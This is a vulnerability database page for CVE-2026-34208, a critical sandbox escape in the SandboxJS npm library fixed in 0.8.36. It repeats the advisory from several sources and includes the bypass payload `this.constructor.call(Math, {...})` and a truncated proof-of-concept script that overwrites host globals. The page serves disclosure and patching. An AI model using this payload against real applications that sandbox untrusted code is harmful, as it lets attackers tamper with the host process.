Every CVE Search/ Get API key

CVE-2026-34208

SandboxJS: Sandbox integrity escape

10.0 CriticalFix available

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
Low

Exploit likelihood

0.58%Up 0.5 points since Apr 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 10.0

SandboxJS: Sandbox integrity escape

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36.

Record
CVE-2026-34208
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Weakness
CWE-693, CWE-915
Updated
2026-11-02
EUVDEUVD-2026-19297 10.0

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36.

Record
EUVD-2026-19297
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-2gg9-6p7w-6cpj 10.0

SandboxJS: Sandbox integrity escape

Summary

SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.

Details

The intended safety model relies on write-time checks in assignment operations. In assignCheck, writes are denied when the destination is marked global (obj.isGlobal), which correctly blocks straightforward payloads like Math.random = () => 1.

Reference: src/executor.ts#L215-L218

if (obj.isGlobal) {
  throw new SandboxAccessError(
    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,
  );
}

The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is SandboxGlobal, implemented as a function that copies all keys from a provided object into this.

Reference: src/utils.ts#L84-L88

export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
  for (const i in globals) {
    this[i] = globals[i];
  }
} as any as SandboxGlobalConstructor;

At runtime, global scope this is a SandboxGlobal instance (functionThis), so this.constructor resolves to SandboxGlobal. That constructor is reachable from sandbox code, and calls through Function.prototype.call are allowed by the generic call opcode path.

References:

const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),
const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);

This creates a privilege gap:

  1. Direct global mutation is blocked in assignment logic.
  2. A callable host function that performs arbitrary property writes is still reachable.
  3. The call path does not enforce equivalent global-mutation restrictions.
  4. Attacker-controlled code can choose the write target (Math, JSON, etc.) via .call(target, payloadObject).

In practice, the payload:

const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });

overwrites host Math.random successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.

PoC

Install dependency:

npm i @nyariv/[email protected]

Global write bypass with pwned marker

#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;

try {
  try {
    run('Math.random = () => 1');
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { random: () => 'pwned' })`);
  console.log('With bypass (host Math.random()):', Math.random());
  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));…
Record
GHSA-2gg9-6p7w-6cpj
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Weakness
CWE-693, CWE-915
Updated
2026-11-02
NVD 10.0

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process. This vulnerability is fixed in 0.8.36.

Record
CVE-2026-34208
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-693, CWE-915
Updated
2026-11-02
OSVGHSA-2gg9-6p7w-6cpj 10.0

SandboxJS: Sandbox integrity escape

Summary

SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.

Details

The intended safety model relies on write-time checks in assignment operations. In assignCheck, writes are denied when the destination is marked global (obj.isGlobal), which correctly blocks straightforward payloads like Math.random = () => 1.

Reference: src/executor.ts#L215-L218

if (obj.isGlobal) {
  throw new SandboxAccessError(
    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,
  );
}

The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is SandboxGlobal, implemented as a function that copies all keys from a provided object into this.

Reference: src/utils.ts#L84-L88

export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
  for (const i in globals) {
    this[i] = globals[i];
  }
} as any as SandboxGlobalConstructor;

At runtime, global scope this is a SandboxGlobal instance (functionThis), so this.constructor resolves to SandboxGlobal. That constructor is reachable from sandbox code, and calls through Function.prototype.call are allowed by the generic call opcode path.

References:

const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),
const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);

This creates a privilege gap:

  1. Direct global mutation is blocked in assignment logic.
  2. A callable host function that performs arbitrary property writes is still reachable.
  3. The call path does not enforce equivalent global-mutation restrictions.
  4. Attacker-controlled code can choose the write target (Math, JSON, etc.) via .call(target, payloadObject).

In practice, the payload:

const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });

overwrites host Math.random successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.

PoC

Install dependency:

npm i @nyariv/[email protected]

Global write bypass with pwned marker

#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;

try {
  try {
    run('Math.random = () => 1');
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { random: () => 'pwned' })`);
  console.log('With bypass (host Math.random()):', Math.random());
  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));…
Record
GHSA-2gg9-6p7w-6cpj
CVSS 3.1
10.0 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
Weakness
CWE-693, CWE-915
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@nyariv/sandboxjs
npm
before 0.8.36
0.8.36

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-34208 is a critical vulnerability (CVSS 10.0) in Nyariv Sandboxjs, published April 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.58%, the 48th percentile. Fixed in @nyariv/sandboxjs 0.8.36.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open